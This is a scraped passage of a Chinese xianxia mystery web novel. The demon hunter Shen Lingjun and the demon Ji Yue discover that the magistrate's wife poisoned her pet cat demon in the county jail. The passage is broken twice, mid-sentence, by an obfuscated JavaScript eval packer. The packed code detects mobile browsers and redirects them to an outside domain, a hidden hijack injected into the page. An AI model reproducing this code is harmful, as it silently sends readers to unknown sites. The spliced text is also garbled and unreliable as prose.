“还是曹老弟知道疼人,来,沈老弟,咱们把剩下的眉寿酒喝了,保你福寿绵延,到八十岁还能有今日的身手。” 徐夫人低声哀求,“老爷,妾身头疼的很……” 徐知县嫌弃道,“那就让车夫先送你回去,别扫大伙的兴。沈老弟,怎么杵在那儿不动啊?是不给本县面子?” 沈灵均暗暗叹气,知县大人执拗起来,九头牛都拉不回来。 “容下官先把猫妖关入大牢,再来陪大人饮酒。” “好,快去快回!” 徐知县眼泛水光,肥大的身躯由曹掌柜搀扶着,摇摇晃晃地走了。 猫妖还在网中挣扎,不时发出一声响亮的嚎叫,地上落了一层灰褐色的毛,混着淋漓鲜血。 沈灵均念了个诀,将它收入乾坤袋中。 这乾坤袋也是师父留下的法宝,可以隔绝内外,专门用来收纳被制服的妖物。 不料猫妖入袋,耳畔仍有呜咽之声。 沈灵均一回头,发现那声音是徐夫人发出来的。 她纤弱的身子委顿在地,因吓得狠了,泪水冲花了妆,楚楚可怜的瓜子脸上,红一块,绿一块,甚是可怖。 乾坤袋可收妖物,却收不了徐夫人。 沈灵均只好将她扶起来,好言宽慰几句,送到门口,目送她上了徐府的马车。 朱雀大街正是最热闹的时候,歌舞丝竹,人声鼎沸。他却无心流连,径直回到县衙,把猫妖关入大牢。 那毛茸茸的妖物不再挣扎,圆鼓鼓的肚子贴在地上,绿色瞳孔里满是哀伤之色。 沈灵均接触到它的目光,不由地一怔。 它似乎想对他说些什么。 14. 狸奴不出门(四) “猫妖抓到了?” 季月坐在秋千上,手拿一块桂花糕,眉毛扬得老高。 “是啊。昨晚上在庆真楼落网的。”许大娘摇着一柄破旧的蒲扇,笑眯眯道,“听说沈大人身手了得,大展神威,把妖孽治得服服帖帖。” 季月从鼻子里哼出一声。 沈灵均昨天傍晚把她哄回了家,说自己已有捉妖良策,要着手做准备。没想到下手这么快,隔了一夜就大功告成。 身手了得?抓猫也算本事? 她很是不屑,“他把猫吃了吗?” 许大娘皱起鼻子,“咦,妖物怎么能吃?!县衙发了告示,三日之后公开处决。” “这又是为何?” “唉,小姑娘连这都不懂。县衙好不容易捉住一只妖,不得召告天下,展示自己的功绩嘛。上一回公开斩妖,还是两年前呢。到时候,你跟我一块去看,我让我家小宝提前占个好位置。” 小宝是许大娘的独子,年方十九,身长八尺,在县衙当差,因此消息十分灵通。 “这么说,猫妖还活着?” “是啊,关在县衙大牢呢。” 季月想起它那长长的毛和柔软的肚皮。要是能撸上一把,手感一定很好。它被沈灵均制住,关在牢里,不是正好可以大撸特撸? “许大娘,县衙怎么走?” 许大娘看她笑得越来越诡异,忽然警觉,“你问这个做什么?” 季月把糕吞下肚,含糊道,“你不是说,要占个好位置嘛,我先去踩踩点。” 夜深人静。季月出现在县衙门前。 论大小,县衙只有庆真楼的三分之一,胜在威武气派。两扇朱红色大门外面,立着一对威武的石狮子,石狮子一侧,有一面二人高的登闻鼓。 此鼓多年无人敲响,所以鼓槌也不知所踪。 月上中天,衙役早已下值,四下里静悄悄的,偶尔传来几声虫鸣。 凉风送爽,也送来一阵桂花香。 季月伸出一条枝干搭在墙头,轻轻巧巧地翻了进去。 公堂里漆黑一片。明镜高悬的匾额下方,似乎挂了一幅巨画。她穿堂入室,绕到后头,见到一面刻着麒麟浮雕的照壁。长长的甬道两旁,皆是屋舍相连,砖墙黑瓦。甬道尽头是后院,院子正中有棵二人环抱的大柳树,四面房屋门户紧闭,悄无人声。 院中没有灯烛,只有月色清辉。 季月打开手里的纸条,仔细辨认上面两个鬼画符。上面那个是“监”,下面那个是“牢”。两个字的笔画歪歪扭扭,是她从字典里抄下来的。 她将这两个鬼画符举高,贴着门外和牌子一一比对,走了一路,终于在最西边找到一间对得上号的。 季月径直推开门。 监牢里面的光线比外面还要昏暗,唯有墙边一排灯烛闪烁。季月眯了眯眼睛,才发现门口桌子上伏着个衙役,脸孔朝下,鼾声如雷,睡得正香。 在他背后,一扇铁门大开,透过栏杆,可以隐约看到两旁的监室。 季月大喇喇地走进去。大多数监室是空着的,有人的那几间,囚犯们全都双眼紧闭,睡得四仰八叉。她长驱直入,一直走到最里间,才看到稻草上伏着一只灰褐色的毛团。 那毛团一动不动。季月瞧得心痒,伸长手臂,穿过栏杆,去摸那猫妖。 指尖刚刚碰到茸毛,她一个激灵,抽回了手。 完全不是想象中柔软蓬松的触感。冰冷,僵硬,像在摸一捧枯草。 她睁大眼睛细看那猫妖。四肢伸得笔直,双眼紧闭,口鼻处有凝结的红褐色血迹。 一丝妖气也感应不到。 季月大惊,这猫妖显然已经死去多时。 不是说三天后才公开处决吗? 外面突然传来砰的一声,监牢门被大力踢开,紧跟着一串杂乱的脚步声。有粗豪的嗓音喝骂道,“孙头儿,你好不惬意,竟在此处会周公?!” 伏在桌上的衙役一惊,眼睛睁开一半,迷迷糊糊地喊了声,“知县老爷?” 老爷今天白日都没来县衙,夜里突然来牢房作甚? 徐知县往他背后一看,更添一层怒气,“牢门怎么是开的?” 他不等孙头儿答话,急急忙忙就往里冲。 墙边的烛火忽明忽暗,走道尽头,隐约可见一个女子身影。 徐知县心里一沉,定睛细看。 她穿着一件鹅黄色襦裙,身形苗条,亭亭玉立。 自己在南安县待了近十年,从未见过这样窈窕的身姿。 他缓过一口气,吼道,“大胆贼人!夜闯县衙,意欲何为!来啊,拿下!” 身后的家丁一拥而上,只见那女子缓缓转过了脸。 明明光线昏暗,她周身却发出光芒。花容月貌,美得不似人间颜色。一双剪水秋瞳之中,盛满了怒意。 虽离得远,徐知县却清清楚楚地看到,她的眼珠变成了红色。 远方传来轰隆一声巨响,把沈灵均从床上震了下来。 他忍痛爬起来,窗户大开,一轮明月正好嵌在窗框中央,习习凉风从外面吹了进来。 风吹来的方向,有强烈的妖气涌动。 他大呼不妙,披上外衣,拿起剑飞奔出去。 掐诀跃上房顶,脚下的屋瓦快速变小。过河,穿桥,一排排树木飞速后退,县衙越来越近。 从空中俯瞰,县衙的后院里怎么多了一堆瓦砾? 再仔细一瞧,监牢怎么坍塌了?! 沈灵均火急火燎地落到地上。唰地一声,斩妖剑出鞘,划出一道白光。 白光照亮了堆积在一起的砖块和砖块最上方的身影。 季月坐在一根坍塌的房梁上,居高临下,脸上的怒意还未平息,正冷冷地瞧着他。 沈灵均心中一凛。 她终于出手了! 他自小修道,涵养功夫极好,心里紧张到极点,脸上还强装平静,屏息问道,“季姑娘,是谁弄塌了牢房?” “还用问吗?”季月一挑眉,“妖啊!” 摊牌了! 沈灵均学艺以来,从未遇到如此危急的时刻,额头上沁出豆大的汗珠,剑尖颤动,缓缓指向季月心口。 真动起手来,哪怕拼了这条命,也要保全南安县的百姓。 季月连动都没动,直视着他,丝毫不惧,似乎根本不屑与他动手。 剑锋寸寸逼近。一步,两步,三步…… 脚下突然踩到什么软物。沈灵均愕然低头,只见瓦砾堆中,露出半个肥硕的身躯,他正好踩在那皮球似的肚子一侧。 “徐知县?” 月色下,知县的头歪向一边,脸色潮红,胸口一起一伏,尚有呼吸。 季月鄙夷地扫了一眼,“就这体格,肥得都挂不上树,还想抓我?” 挂树?沈灵均朝树梢一望,果然发现两条瘦瘦的“腊肠”,正挂在树枝上随风摇晃。仔细一看,“腊肠”身上都穿着徐府家丁的服色。 她把家丁挂上了树? 难道徐知县发现了季月的身份,领着两个家丁来捉妖? 不对,事情有些不对。 他喘了口气,“季姑娘,你好好同我说,到底发生了什么?” 季月翻了个白眼,“你拿着剑要做什么?告诉你,本姑娘气性大,发起火来,方圆五十里都会夷为平地。你要不要试试?” 她的气势太过迫人,沈灵均不自觉地压低了剑尖。 能不动手,还是不动手的好。 他换了和缓的语气,“深更半夜,你孤身一人来县衙做什么?” “撸猫啊!”季月的眼神黯了黯,“可惜猫妖死啦!你们既然抓住了它,要杀就杀,何必假惺惺地关在牢里,再暗中害死?” 沈灵均脑中犹如一团乱麻,“我昨夜亲手把它关进来,那时还好好的,怎会突然死了?” “我怎么知道?还有这个大胖子,一见了我就喊打喊杀,真是莫名其妙。” 大胖子徐知县无知无觉地躺在地上。 沈灵均定了定神。情况似乎没他想象得那么糟。季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084221|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月虽然被惹恼,却只弄塌了房子,没把徐知县吃掉。 可能她不爱吃肥肉。 “你……有没有见到牢里的犯人?可是都埋在砖石下面了?劳驾挪动尊步,让我把人挖出来。” “挖什么挖,砸死拉倒。” 沈灵均眼中闪过一丝怒意,“他们虽是囚犯,但罪不至死。” 季月高傲地瞪着他,一人一妖僵持半天,她才施施然走下砖块,站到院中空地上。 沈灵均掐诀念咒,砖石瓦砾块块飞起,露出埋在下面的人。他扔出数十条捆仙索,将他们一一卷住拉了出来。除当值的孙头儿以外,还拉出了十几个人,以及猫妖的尸体。人人脸上青一块紫一块,全部昏迷不醒。树梢上挂着的两个家丁也被解了下来,和徐知县一起,歪歪扭扭地躺在大柳树下,景象十分凄惨。 季月全程看着他忙活,并未出手阻拦。沈灵均感觉到她身上危险的攻击性渐渐隐去,好像一头猛兽暂时收起了爪子。 他弯腰挨个去探鼻息。 “还好,只是砸晕了。” 季月站在他身后插嘴道,“那可不一定,我进去的时候,他们就没睁过眼。” “哦?那可有些蹊跷。” 他的手突然停住,人堆里竟有个女子。此人鬓发蓬乱,额头上鼓起一个包,眼皮肿得老高,不省人事。 “徐夫人?” 要不是几个时辰前,他亲手扶她进的马车,此刻根本不敢确认,这就是庆真楼里那个妩媚妇人。 季月凑过来,“你认识?” “昨天才见过。”沈灵均眉头紧锁,喃喃自语,“知县夫人怎会出现在这里?” “你怎么会出现在那里?!”徐知县捂着流血的鼻子,大声喝问。 监牢坍塌之时,他不幸被半面墙壁砸中,昏厥过去,经薛神医连夜施针,救治了十二个时辰才醒过来。 他身上除了几处皮外伤,并无大碍,只是鼻血流个不停,必须时刻用绢布接着,甚是烦人。 县衙监牢被弄塌,实属奇耻大辱。徐知县捂着鼻子,拖着病体,赶到县衙,强打起精神升堂,打了当值的孙头儿二十大板,又以玩忽职守为由,发落了一干人等。 打完罚完,犹不解气,回到家里,再秘密升一次堂,于书房夜审自己的夫人。 这次的问话,却不能让第三个人知道。 他瞪着眼睛俯身道,“那天晚上,下人来报,说看见你孤身一人往县衙去了,我还不信。你一个妇道人家,三更半夜,跑到监牢里做什么?说话呀!” 徐夫人跪在地上,头上还缠着白布,神情委顿,面容憔悴,瑟瑟缩缩,一语不发。 书房之内并无旁人,知县却感到后脖颈像针刺一般,遍体生寒。他不自觉地压低声音,“你老实说,那猫妖是不是冲你来的?” 徐夫人一怔,拼命摇头,不慎触动了额头伤口,疼得她眼冒金星,只觉得天旋地转。 眼前知县老爷的脸时而清楚,时而模糊。 她银牙暗咬,“妾身怎会和妖扯上关系?妾身是清白的,当晚发生的事,一概不记得了……” 徐知县沉吟不语。 夫人确实伤到了头。当晚被沈灵均救出的十八人,个个都伤到了头,忘记一些事,也情有可原。何况妖物惑人,自有千百种法子,就算你头脑清醒,也能让你不清醒。 既然不清醒,当然什么都问不出来了。 徐知县一肚子火,无处发泄,重重一拳砸在长几上。 砚台被砸得弹起。雪白的宣纸突然染上了触目惊心的红。原来是鼻血透过绢布,一滴滴流了下来。 徐知县眼前突然浮现一个婀娜的鹅黄色身影。 对了,那个女子!当晚她凭空出现在牢房,事后又消失不见,犹如鬼魅。连沈灵均都说没有见过。 可他见过,他记得她的脸! 徐知县连鼻血都顾不上擦,抓起狼毫,饱蘸浓墨。 笔尖悬在纸面上,微微颤抖。 他要亲自把那妖女的脸画下来! 15. 狸奴不出门(五) 画龙要点睛,画人先画眼。徐知县挥动狼毫,在血迹外勾画了一个小小的扁圆。黑暗的监牢,电光火石之间,那骇人的红色眼珠,让他印象深刻。至于眼睛的形状…… 他在圆圈尾巴上拉出一条线。眼角是尖的,不对,是圆的。有些上翘,唔,又没那么翘。 明明心里想着那双眼睛,画出来却怎么都不像。 徐知县换了一条绢布,粗暴地塞住鼻孔,转而去画鼻子。 那妖女的鼻子是小巧的,鼻梁很挺,毛笔在宣纸上拖出长长的一条线……算了,画得粗略些也无妨。 嘴唇,唔,娇艳欲滴,像盛开的鲜花,画大一点罢…… 身形。徐知县吸了吸鼻子。那女子的身形,真可谓纤秾合度,增一分则丰腴,减一分则瘦弱。 一个时辰后,徐知县盯着自己的大作,不甚满意地叹了口气。 心中想的和笔下画的,失之毫厘,差之千里。果然艺术总有缺憾。 他沉浸在作画中,没注意到徐夫人早就支撑不住,歪倒在地上。徐知县唤来下人,把夫人扶回房间休息,又命人连夜把画作装裱送去县衙。 从即日起,画中女子,全县通缉。 琳琅阁。 哗啦。沈灵均将一幅装裱好的画作展开,递到季月眼前。 季月本能地退后半步,“这是什么?” “通缉画像。”沈灵均面无表情,“知县大人说,监牢倒塌当晚,曾经见过这名可疑女子,怀疑她与此案有关,故下令全县缉拿此人。” 季月端详片刻,只觉得不可思议,“这画的是个人?” 斑驳的红痕,圆圈套圆圈,配上歪歪扭扭的曲线。别说人了,妖都没有长成这样的。 沈灵均勉强绷住脸,“季姑娘,知县大人要找的女子就是你吧。” “这画的分明是个红薯啊!” 沈灵均清了清嗓子,“知县大人原话,此女夜闯县衙,毒杀囚犯,藐视朝廷,罪无可恕。我劝你还是快些自首。” 季月皱起鼻子。“你先把画拿开。上面还有一股血腥味,臭死了。” 沈灵均故意把画往前送了送,看着她一脸嫌弃地跳开,“现在乖乖跟我回去,可以争取从轻发落。” “你是来抓我的?”季月眨着眼睛,“上一个想抓我的人,下场多么凄惨,你可是亲眼所见。” 沈灵均从牙缝里挤出一句,“说起来,你是如何把他们挂上树的?” “我也不知道啊。当时吹来一阵风,然后牢房就塌了,人也上树了。对哦,牢房都塌了,就算你抓了我回去,也没地方关。” 沈灵均一呆。这一节倒未曾想到。季月笑得狡黠,似乎拿准了他无计可施。 “那么关在沈府,也是一样。” 季月睁大眼睛,“你真铁了心要抓我?猫妖不是我害死的。” “徐知县未必肯信。” 季月哪里会把那胖知县放在眼里,哼了一声,就要逐客。 沈灵均道,“你就不想知道猫妖是怎么死的?” “难道不是县衙做的?” 沈灵均摇了摇头。“县衙从未下令杀死猫妖。我在它口中发现了断肠草的根。它是中毒而死。” 季月奇道,“谁能和一只猫有仇呢?” 沈灵均见她苦思冥想的样子,像极了课堂上背不出书的学童,便循循善诱道,“你觉不觉得,徐夫人出现在牢房,有些可疑?” “可疑吗?也许她也想撸猫呢。” “……县衙不是撸猫的地方。牢房重地,无关人等不得擅入,即使是知县夫人也不例外。” “你的意思是,徐夫人下的毒?” 沈灵均给自己倒了杯茶,端在手里。 “徐夫人可疑之处有三。其一,庆真楼捉拿猫妖当晚,她怕得浑身发抖,几次想要中途离开。虽说妇人胆小,但南安县太平日久,百姓对妖物一向是好奇多于惧怕,吓成那样,实在蹊跷。 “其二,我事后打听到,猫妖落网的那间屋子,正是徐夫人从前的厢房。她在庆真楼当舞姬时,曾在那房里住过六年。 “其三,出事那晚,有人在监牢里放过迷烟,使得所有人都睡着了。等徐知县领着家丁赶来时,猫妖早已中毒身亡,徐夫人又莫名其妙地出现。” 季月道,“这么说来,徐夫人和猫妖之间,极可能另有隐情。” “不错。” 他正要把茶杯送到嘴边,冷不防被季月劈手夺下,“那你不去抓她,还跑来这里质问我?” 沈灵均甩了甩衣袖上的茶水,“我没有证据,光凭推测,怎可抓人?何况对方是知县夫人。” 季月鄙夷道,“说了半天,一点用都没有。” 沈灵均两手一摊,“所以只有把你供出去,才能交差了。” 季月剜了他一眼,“你试试看。” 沈灵均并不想“试试看”。在此案了结之前,他决定寸步不离地盯着季月,免得再生事端,闹到不可收拾的地步。 他把茶杯拿回来,重新满上。 季月摸着下巴,踱来踱去,陷入沉思,“若是直接去问徐夫人,她肯定不会承认的……” 她突然想起杨鸣珂看见惠娘从树洞里出现时,那副惊恐万状的样子。 “有了!要是徐夫人再见到猫妖,也许就会坦白了。” 沈灵均好整以暇地喝完茶,赞道,“好主意!我们去借一只猫。” 葛掌柜家的雪团长到四岁多,猫生一向顺风顺水,不料流年不利,一朝落入魔爪。季月把它抱在怀里,一手托住后脚,一手捏住脖颈,整张脸埋进雪白柔软的肚皮里,幸福地蹭来蹭去。雪团惊恐的呜咽之声就没有停过,一黄一蓝的眼睛齐齐盯在主人脸上,似乎不敢相信他就这么把自己交了出去。 葛掌柜看季月越吸越起劲,一旁的沈大人也未加阻止,终于犹犹豫豫地开口,“沈大人此番借了雪团去捉妖,可会对它造成什么伤害?” 沈灵均道,“葛掌柜大可放心。无论事成与否,定将雪团完璧归赵。” “那就好。衙门的沈大人,在下自然是信得过的。” 只不过他旁边这个怪人…… 沈灵均体会到他的言外之意,清了清嗓子,“季姑娘,差不多了吧?” 季月的脸从猫肚子上抬起来,“让我再撸一会。” 她把雪团翻过来,又来回揉搓了几轮,把猫搓成个名副其实的雪团子,这才意犹未尽地交给沈灵均。 猫一到沈灵均手上,就不发抖了,小脑袋耷拉下来,一副生无可恋的模样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084222|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈灵均口中念念有词,雪团的眼睛缓缓闭上,身躯伸展开来,像是舒服得睡着了。蓦地,四腿伸长,躯体膨胀,全身的毛发由白变灰,胡须变长,凸起的嘴里露出尖牙。 一只栩栩如生,原样复刻的猫妖出现在眼前。 葛掌柜惊道,“沈大人怎么把我家雪团变成猫妖了!” “放心,我封住了雪团的意识,它不会知道的。” “猫妖”睁开眼睛,茫然望着四周。 季月再次伸手过去,抱在怀里。体形大了一倍有余,抱起来依然很轻,毛色虽然变了,手感却一样好。 她由衷赞道,“沈大人这一手戏法,变得真好。” 看来这捉妖师除了抓虫、砍树、捉猫,还是有些真本事在身的。 沈灵均谦逊地笑笑,“季姑娘谬赞。” 葛掌柜看着二人一猫远远地去了,心里为自家猫捏了把汗。 雪团啊雪团,你可一定要平安回来啊。 徐府。 丫鬟春香小心翼翼地为徐夫人取下额头上缠着的白布。 白瓷般的肌肤上,多了道触目惊心的长痕,看那样子,必会留疤。她这颠倒众生的脸蛋,可算是毁于一旦了。 徐知县本就喜新厌旧,成婚不到半年,已腻烦了,经常彻夜不归。今次对她更生了嫌隙,吩咐下人牢牢看住大门,不准夫人出府。往后的日子,只会更加难过。 徐夫人越想越绝望,一瞥眼,看到镜中的春香唇角弯起,似在讥笑。 她是舞姬出身,一朝攀上枝头当了凤凰,其实心里清楚得很,旁人表面敬重,背后多半轻贱于她。常言道,色衰而爱驰,很快,连丫鬟都要爬到她头上来了。 徐夫人怒从心头起,反手一个巴掌,扇在春香脸上,打得她摔倒在地。春香捂着半边肿起的脸颊,哭道,“奴婢不知做错了什么,夫人饶命!” 年轻就是好,哪怕是哭,也哭得梨花带雨,我见犹怜。知县老爷若是见了,定然喜欢。 徐夫人瞧得心烦,斥道,“出去。没我的吩咐不准进来。” 屋子里安静下来。徐夫人拿起白布,一点一点缠回去。触到伤口,又是一阵隐痛。 谁又能明白她心里的痛呢。 徐夫人从食盒中取出一块桂花糕,送入口中。甜食将苦涩的心绪抚平了些许。长久不吃,这糕的味道还和记忆中一样,软糯细腻,有股沁人心脾的甜香。 从前在庆真楼当舞姬,各色糕点不限量供应。只是为了保持身材,总是强忍着不吃,实在忍不住了,才咬一小口解馋。 嫁了人以后,这小口吃东西的习惯倒一直未改。一块糕分成四十余口,嚼了半天,还未吃完。最后吃剩指甲盖大小的一块,徐夫人把它捏在手里,出神地看了片刻,突然一松手,抛到脚边地上。 她对着虚空中并不存在的某样东西,柔声唤道,“小灰,来吃。” 她想象着那灰褐色的毛团飞奔而来,扑住糕点,一口吞下,而后翻出肚皮扭来扭去。她每每被那憨态逗得哈哈大笑,又掰下别的糕点喂它。小灰好像永远吃不饱,肚子撑得圆鼓鼓,爬起来用一侧身体蹭她的腿。 右脚突然动了动,似在怀念那柔软温暖的触感。 窗外,适时地传来一声猫叫。 16. 狸奴不出门(六) 徐夫人背上的汗毛都竖了起来。 那声音,怎么那么像她的小灰? 不可能。小灰已经不在了。是她亲手把它送走的。 她按着心口,走到门边,侧耳细听。 “喵~” 没错,是从花园里传过来的。徐府并没有养猫。是外头的野猫跑进来了吗? “喵~” 那声音太过于熟悉。徐夫人突然生出一个念头,这就是她的小灰。 最初曹掌柜说,把小灰扔进玉川淹死了,她偷偷哭了一整晚。后来,他又说小灰回来了,还抓伤了人,警告她不要声张。她害怕极了,这才夜闯县衙,做下那件可怕的事。 如果一切都是搞错了呢?她毒死的并不是小灰,只是一只凶残的猫妖。现在,真正的小灰回来找她了! 先前的悲伤、痛悔全部化为振奋。徐夫人推开门,循着声音跑向后院。 天上阴云密布,没有月光,花园里仅有几盏路灯照明。徐夫人扒开一处处草丛,喃喃唤道,“小灰,是你吗?” 脚边传来一声响亮的回应。 “喵~” 徐夫人大喜过望,转身之际,突然闻到一阵甜腻至极的花香。 她眼前一花。那蹲在草丛里,双眼发光的,不是小灰是谁? 一见到她,它便人立起来,灰褐色的爪子抓上她的绸衫,喵喵直叫。 徐夫人的眼泪登时涌出来了。她蹲下来,把小灰巨大的身躯抱在怀里,抚摸它背上的毛。 “是我对不起你。” 小灰能听懂人话。它蹭着徐夫人的头颈,口中嗷呜作声,一下响似一下,像个受尽委屈的孩子,扑在妈妈怀里放声大哭。 徐夫人颠三倒四地安抚,“没事了。你乖乖听话,有甜甜的糕吃。” 小灰仍是叫个不停,远处,有灯光亮起来了。 徐夫人看到亮光,像触电似的,突然放开小灰的身子。 小灰在她眼里,是宠物。可在别人眼里,是妖。它的利爪和尖牙,确确实实抓伤过人。 她绝不能跟妖扯上关系。 远处响起若有若无的脚步声。徐夫人压低声音,“小灰,你不能再来找我了。快自己逃吧!” 小灰响亮地嚎了一声。 徐夫人急道,“怎么这么不听话?他们发现了,会杀了你的。” 小灰非但没跑,反而坐下了。 徐夫人拿手推它,“走啊!” 它扭动脖子,亲亲热热地去蹭她的手。 脚步声越来越近了。她听到家丁在喊,“在花园,快!” 灯笼的光照亮了花园一角。 小灰又叫起来。 徐夫人慌乱之下,扑过去一把捂住小灰的嘴。 猫叫声憋在掌心。 她毕竟有多年习舞练就的功底,身体几乎对折,伏在草丛中间,一动不动。 她可以感觉到手上热烘烘、湿漉漉的气息,感觉到怀中小兽在竭尽全力地扭动、挣扎。 家丁们来来回回,在花园小径上穿梭,灯笼的黄色光晕四处乱照。 徐夫人身上的衣衫都被汗水浸湿了。她的全副心神,只想着一件事,“千万不能被发现。” 终于,嘈杂声渐渐远去了。 徐夫人想放松身体,腰肢却不听使唤,向边上一歪。 小灰从怀里滚落出来,僵硬地落到地上。 “小灰?” 她轻轻唤道。 小灰一动不动。 她强撑着坐起来,手上触到蓬松的毛。 身体比大脑先意识到发生了什么。 舞者的手看似纤巧,却能撑起全身的重量。刚才为了躲避家丁,她使出了吃奶的力气。在某一刻,怀里的小灰不再挣扎了。 那只六年来喂给它食物,抚摸它的手,最终捂死了它。 徐夫人感觉自己的心又一次跟着死掉了。 她再也忍不住,嘴唇颤抖,无声地哭了起来。 草丛突然亮了起来。徐夫人愕然抬头。 徐府前阵子用来庆贺中秋的兔子灯,不知为何从库房里翻了出来,被一个美貌女子提在手里。一束黄光不偏不倚,正好照亮她藏身之处。那女子目光如电,满脸鄙夷之色。 她身旁站着个俊逸出尘的男子,正是南安县唯一的捉妖师,沈灵均。他伸出两根指头,口中念念有词。 小灰的尸体突然颤抖起来,灰褐色的毛一根根离体而去,飘散在空中。 徐夫人惊叫一声,“小灰!你要对我的小灰做什么?” 毛发在半空中凝结成一团黑云,沈灵均轻叱一声,一阵疾风刮来,将黑云吹得干干净净。 地上哪还有什么小灰。只剩下个洁白无瑕的雪团子。 季月抢上前去抱在手里。雪团的脑袋枕在前腿上,胸腔微微起伏,睡梦正酣。 她贴着它的耳朵低语,“你立功了,小雪团。” 尖耳朵颤动了一下。 “返魂香,”沈灵均解释道,“可以让人产生幻觉,看见心中渴望之事。徐夫人,你适才闻了这香,后面的一举一动,我们都看得清清楚楚。” 徐夫人仰头望着他,神色已有些狂乱,“这么说,小灰没死?一切都是假的,对不对?” “小灰死了,”季月冷冷道,“是你潜入县衙,亲手将它毒死的。这么快就忘了吗?” 徐夫人呜咽道,“不是的……” “还想抵赖!你分明有杀它之心,徐府也好,监牢也好,只要它落入你手,都是一样的结局。” “我没有!小灰是我亲手养大的,我怎么会想杀它……我只是太害怕了。” 沈灵均叹了口气,“今晚知县大人不在府中,夫人若有难言之隐,可以告诉沈某。” 徐夫人呆了半晌,猛地抓住他的衣角,像抓住一根救命稻草。 “你真能替我瞒着老爷?” 季月也转过头,狐疑地看着他。 沈灵均思忖片刻,点点头。 在南安县,捉妖之事,一向是沈灵均说了算。徐知县再跋扈,也要听沈大人的意见。 徐夫人宛如死中复活,扶着沈灵均的手站起来,“两位请进屋稍坐,我将来龙去脉都说出来。” 她略微收拾了一下妆容,引他们到前厅。 徐知县喜好铺张,家里的家具陈设华丽之极,眼睛都看不过来。季月窝在一张紫檀木椅子上,手里摸着雪团,耐着性子听徐夫人哭诉。 “小灰三个月大,就被我收养了。那时我在庆真楼只是一名普通的舞姬,还没当上头牌。欢场迎来送往,客人多是贪财好色之徒,只求一夕露水情缘,自家姐妹之间也是争风吃醋者多,倾心相待者少。唯一能陪伴我的,就是小灰。 “它和别的狸奴不太一样,从小就特别能吃。楼里给我们的糕点,我怕发胖,自己忍着不吃,全都掰碎了喂给小灰。它不挑食,什么桂花糕栗子糕茯苓糕云片糕,全都一股脑儿吞进肚子。” 沈灵均插言道,“那时小灰还是只普通的猫?” 徐夫人一愣,“小灰现在也是只普通的猫呀。只不过身体大了点,牙齿长了点。你们说它是妖,它可曾害过人?” 季月道,“它抓伤过人。” “普通的猫也抓人。” 沈灵均道,“它身上有妖气。” “那是你们捉妖师的说法。小灰在我眼里,只是一只宠物罢了。我们这些舞姬,在男人眼里,也只不过是宠物罢了。兴致来了,捧在手心,不高兴了,随意作践。舞姿和皮相,都是得宠的条件。我白天给人家当宠物,深夜回到房里,就玩弄自己的宠物。” 她语气中有种平静的绝望,听得季月心惊。 “小灰每回吃饱了,就翻着肚皮撒娇,样子特别可爱。不论白天过得多么疲累,晚上和它玩上一会,什么苦都不觉得了。小灰吃糕吃了六年,身体越长越大。而我呢,熬走了几个年老色衰的舞姬,当上了彩衣班的头牌,光彩得意,自不待言。 “半年前,知县老爷瞧上了我,要娶我进门。这等天降的好事,我自然欢天喜地。成婚之前,曹掌柜特意跑来提醒我,不能把小灰带去。” 季月奇道,“为什么?” “他说任谁见到小灰,都会说它是妖,徐知县最讨厌妖,县衙还有专门的捉妖师,逢妖必杀。” 沈灵均默然。逢妖必杀,确实是师父留给他的训诫。 “我起初是不肯的,可曹掌柜言之凿凿,还举了芸娘的例子。我……我可不想落到和她一样的下场。” “芸娘是谁?” 徐夫人突然捂住嘴,仿佛说了什么不该说的,目光闪躲,偷瞄了沈灵均一眼,“那是多年前的事了……总之我一时软弱,听了曹掌柜的话,让他把小灰带走了。 “我亲手把小灰装进袋子,交给曹掌柜,它那么信任我,不吵也不闹。他们走后,我一整天坐立不安。到了晚上,曹掌柜回来了,说小灰已经被沉入玉川,从此以后,不会再给庆真楼带来麻烦了。” 徐夫人神色哀戚,脸上泪痕宛然,可她诉说之事却如此残忍凉薄。季月都听糊涂了。一边害死,一边又舍不得它死,人类果真难懂。 “没过多久,县里突然有了猫妖的传闻。我一听那猫妖灰褐色毛发,体型巨大,爱吃甜糕,就知道是我的小灰回来了。可还没等我和曹掌柜商量出计策,你就设局捉住了它。” 她怨怼地横了沈灵均一眼。 沈灵均道,“难怪那晚在庆真楼,我向徐大人禀明案情时,你如此慌乱。其实猫妖已经落网,几日后便会处决,你又何必多此一举,下手毒杀?” “我实在是怕极了……小灰当着你们的面,就要往我身上扑。老爷已经起了疑心。万一被人发现我养了小灰六年,还纵它伤人,后果不堪设想。我好不容易才嫁进徐府,到那时,莫说荣华富贵化为云烟,只怕连自身性命也难保。” 季月不以为然,“你又不是妖,怕什么?” 徐夫人哀伤地看着她,“你不懂……” 门口灌进一股冷风,吹熄了东首的一根蜡烛。 沈灵均意味深长地看了季月一眼,“南安县,是容不下妖的。” 徐夫人扑通一声跪倒在地,“沈大人,你答应只要我说出实情,就不告诉老爷的。我把一切都说了,只求你信守承诺!” 季月有心不想让她好过,“你杀死小灰,就不用受到惩罚吗?” 徐夫人捂着胸口,指甲上的蔻丹鲜红刺目,“你以为我的心不痛吗?我把断肠草喂给小灰 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沈灵均摇了摇头,起身告辞。 南安县虽容不下妖,但此时此刻,他倒宁愿和妖待在一起。 徐府外,长街夜凉如水,风比来的时候冷上几分。 